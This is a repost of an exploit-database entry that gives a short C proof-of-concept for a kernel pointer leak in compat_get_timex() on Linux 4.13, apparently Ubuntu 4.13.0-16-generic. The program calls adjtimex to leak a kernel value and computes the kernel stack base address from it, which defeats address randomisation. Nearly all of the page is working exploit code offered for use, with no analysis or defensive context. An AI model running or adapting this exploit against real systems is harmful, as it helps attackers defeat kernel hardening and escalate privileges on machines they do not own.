Linux Kernel 4.13 compat_get_timex() Kernel Pointer Leak

Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019010223

Below is a copy:

Linux Kernel 4.13 compat_get_timex() Kernel Pointer Leak

#define _GNU_SOURCE
#define _BSD_SOURCE
#include <sys/timex.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <kptr-lib.h>

// Ubuntu 4.13.0-16-generic
// gcc -o poc poc.c -m32

struct timex time;

int main(int argc, char **argv)
{
int r;
unsigned long long stack_offset, kernel_base;
unsigned int leak_value;
unsigned int high = 0xffffffff;

memset(&time, 0, sizeof(time));
time.modes = 0x8000;

mmap(0,0xa000,3,2022,-1,0);

adjtimex(&time);    
leak_value = time.tai;
printf("--> leak_value : %x\n", leak_value);

memcpy(&kernel_base, &leak_value, 4);
memcpy((char *)&kernel_base + 4, &high, 4);
stack_offset = 0x1fc4a4;
kernel_base = leak_value - stack_offset;
printf("--> kernel_stack_base : %llx\n", kernel_base);

 return 0;
}

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